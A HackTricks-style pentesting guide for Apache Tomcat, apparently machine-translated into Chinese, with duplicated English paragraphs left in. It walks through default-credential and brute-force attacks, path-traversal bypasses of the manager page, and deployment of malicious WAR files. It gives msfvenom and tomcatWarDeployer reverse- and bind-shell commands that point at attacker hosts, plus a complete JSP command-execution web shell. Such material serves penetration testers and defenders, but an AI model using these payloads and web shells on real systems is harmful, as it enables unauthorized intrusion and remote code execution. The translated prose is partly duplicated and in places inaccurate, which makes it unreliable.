hacktricks/network-services-pentesting/pentesting-web/tomcat.md
2023-08-03 19:12:22 +00:00

17 KiB
Raw Blame History

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

发现

  • 它通常运行在端口8080
  • 常见的Tomcat错误

枚举

版本

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

定位管理文件

有趣的是找到页面 /manager/host-manager 的位置,因为它们可能有不同的名称。你可以使用暴力破解来搜索它们。

用户名枚举

在某些 Tomcat6 之前的版本中,你可以枚举用户:

msf> use auxiliary/scanner/http/tomcat_enum

默认凭据

Tomcat中最有趣的路径是_/manager/html_在这个路径下你可以上传和部署war文件执行代码。但是这个路径受基本的HTTP身份验证保护最常见的凭据有

  • admin:admin
  • tomcat:tomcat
  • admin:<NOTHING>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

你可以使用以下命令测试这些凭据和更多凭据:

msf> use auxiliary/scanner/http/tomcat_mgr_login

另一个有趣的Tomcat路径是/manager/status您可以在此处查看操作系统和Tomcat的版本。当您无法访问/manager/html这对于查找影响Tomcat版本的漏洞非常有用。

暴力破解

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulns

密码回溯泄露

尝试访问/auth.jsp,如果你非常幸运,它可能会在回溯中泄露密码

双URL编码

一个众所周知的漏洞是使用CVE-2007-1860中的mod_jk来访问应用程序管理器它允许双URL编码路径遍历

为了访问Tomcat的管理Web界面请转到pathTomcat/%252E%252E/manager/html

请注意为了上传Webshell您可能需要使用双URL编码技巧并发送一个cookie和/或SSRF令牌。
为了访问后门您可能还需要使用双URL编码技巧。

/examples

以下示例脚本随Apache Tomcat v4.x - v7.x一起提供并可供攻击者获取有关系统的信息。这些脚本也已知容易受到跨站脚本攻击XSS注入的攻击来自这里)。

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

路径遍历(..;/

在一些Tomcat的易受攻击配置中,您可以使用路径/..;/访问Tomcat中的受保护目录。

因此,例如,您可以通过访问www.vulnerable.com/lalala/..;/manager/html访问Tomcat管理器页面。

使用此技巧绕过受保护路径的另一种方法是访问http://www.vulnerable.com/;param=value/manager/html

RCE

最后如果您可以访问Tomcat Web应用程序管理器您可以上传和部署.war文件执行代码

限制

只有当您拥有足够的权限(角色:adminmanagermanager-script您才能部署WAR。这些详细信息通常在/usr/share/tomcat9/etc/tomcat-users.xml中定义(版本可能有所不同)(参见POST部分)。

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit是一款广泛使用的渗透测试工具用于发现和利用网络服务的漏洞。它提供了一个强大的框架使渗透测试人员能够自动化执行各种攻击包括远程代码执行、提权、漏洞利用等。Metasploit还提供了一个广泛的漏洞数据库其中包含了各种已知的漏洞和利用模块使渗透测试人员能够快速找到并利用目标系统上的漏洞。

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom反向Shell

MSFVenom是Metasploit Framework的一部分它是一个用于生成恶意软件有效载荷的工具。使用MSFVenom我们可以生成一个反向Shell以便在目标系统上建立一个远程连接。

以下是生成MSFVenom反向Shell的命令

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker IP> LPORT=<attacker port> -f war > shell.war

在上述命令中,我们使用java/jsp_shell_reverse_tcp有效载荷来生成反向Shell。LHOST参数用于指定攻击者的IP地址LPORT参数用于指定攻击者监听的端口。生成的反向Shell将保存为shell.war文件。

一旦我们成功生成了反向Shell我们可以将其部署到目标系统上的Tomcat服务器中。当目标系统上的Tomcat服务器启动时它将尝试与攻击者的IP地址和端口建立连接从而建立一个远程Shell会话。

请注意使用反向Shell进行未经授权的访问是非法的并且可能会导致严重的法律后果。本书仅旨在提供有关网络安全的知识并强调合法和道德的使用。

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war

然后,上传revshell.war文件并访问它(/revshell/

使用tomcatWarDeployer.py进行绑定和反向shell

在某些情况下这种方法不起作用例如旧版本的sun

下载

git clone https://github.com/mgeeky/tomcatWarDeployer.git

反向 shell

A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain remote access to the target machine and execute commands.

To create a reverse shell, the attacker needs to set up a listener on their machine and then exploit a vulnerability on the target machine to establish the connection. Once the connection is established, the attacker can interact with the target machine's shell and execute commands as if they were physically present on the machine.

Reverse shells are commonly used in penetration testing and hacking scenarios to gain unauthorized access to a target machine. They can be used to bypass firewalls and other security measures, as the connection is initiated from the inside of the target network.

反向 shell

反向 shell 是一种 shell其中目标机器发起与攻击者机器的连接。这使得攻击者能够远程访问目标机器并执行命令。

要创建一个反向 shell攻击者需要在他们的机器上设置一个监听器然后利用目标机器上的漏洞建立连接。一旦连接建立攻击者就可以与目标机器的 shell 进行交互,并像他们实际上在机器上一样执行命令。

反向 shell 在渗透测试和黑客攻击场景中常被用于未经授权访问目标机器。它们可以用于绕过防火墙和其他安全措施,因为连接是从目标网络内部发起的。

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

绑定 shell

A bind shell is a type of shell that listens for incoming connections on a specific port. When a connection is established, the bind shell provides a command-line interface to interact with the target system. This can be useful for remote administration or for launching further attacks.

一个绑定 shell 是一种在特定端口上监听传入连接的 shell。当建立连接时绑定 shell 提供一个命令行界面,用于与目标系统进行交互。这对于远程管理或发起进一步的攻击非常有用。

To create a bind shell, an attacker typically exploits a vulnerability in a network service, such as a web server or an FTP server, to gain unauthorized access to the target system. Once access is obtained, the attacker can execute a command that starts a shell listening on a specific port.

为了创建一个绑定 shell攻击者通常利用网络服务中的漏洞如 Web 服务器或 FTP 服务器)来获取对目标系统的未经授权访问。一旦获得访问权限,攻击者可以执行一个命令,在特定端口上启动一个监听 shell。

Once the bind shell is active, the attacker can connect to it using a tool like Netcat or Telnet. This allows the attacker to execute commands on the target system and potentially gain full control over it.

一旦绑定 shell 激活,攻击者可以使用 Netcat 或 Telnet 等工具连接到它。这使得攻击者可以在目标系统上执行命令,并有可能完全控制它。

It is important to note that using bind shells for unauthorized access to systems is illegal and unethical. This information is provided for educational purposes only, to help understand the techniques used by attackers and to better defend against them.

需要注意的是,未经授权地使用绑定 shell 访问系统是非法和不道德的。这些信息仅供教育目的,以帮助理解攻击者使用的技术,并更好地防御它们。

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

使用Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

手动方法 - Web shell

创建名为 index.jsp 的文件,并使用以下内容

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

您还可以安装这个(允许上传、下载和执行命令):http://vonloesch.de/filebrowser.html

手动方法2

获取一个JSP Web Shell比如这个并创建一个WAR文件

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcat凭据文件的名称是 tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

其他收集Tomcat凭据的方法

  1. 弱密码攻击使用常见的弱密码列表或字典攻击Tomcat管理员账户。这种方法依赖于用户使用弱密码的习惯。

  2. 默认凭据尝试使用Tomcat默认的用户名和密码进行登录。默认的用户名是"admin",密码为空。

  3. 字典攻击:使用自定义的字典文件,包含常见的用户名和密码组合,进行暴力破解攻击。

  4. 社交工程:通过与目标用户进行交流,获取他们的凭据信息。这可以通过钓鱼攻击、欺骗或其他社交工程技术来实现。

  5. 漏洞利用利用已知的Tomcat漏洞如弱密码存储、目录遍历、身份验证绕过等来获取凭据信息。

  6. 网络嗅探使用网络嗅探工具如Wireshark捕获Tomcat登录过程中的凭据信息。

  7. 暴力破解使用暴力破解工具如Hydra或Medusa对Tomcat进行凭据破解。

请注意,使用这些方法进行未经授权的凭据收集是非法的,只能在合法的渗透测试或授权的安全评估活动中使用。

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

其他Tomcat扫描工具

☁️ HackTricks云 ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥